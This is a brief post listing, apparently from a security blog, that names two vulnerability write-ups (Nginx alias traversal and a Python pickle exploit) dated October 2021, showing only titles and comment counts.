[vulnerability] Nginx alias traversal (0) | 2021.10.07 |
[vulnerability] Python Pickle Module Exploit (0) | 2021.10.07 |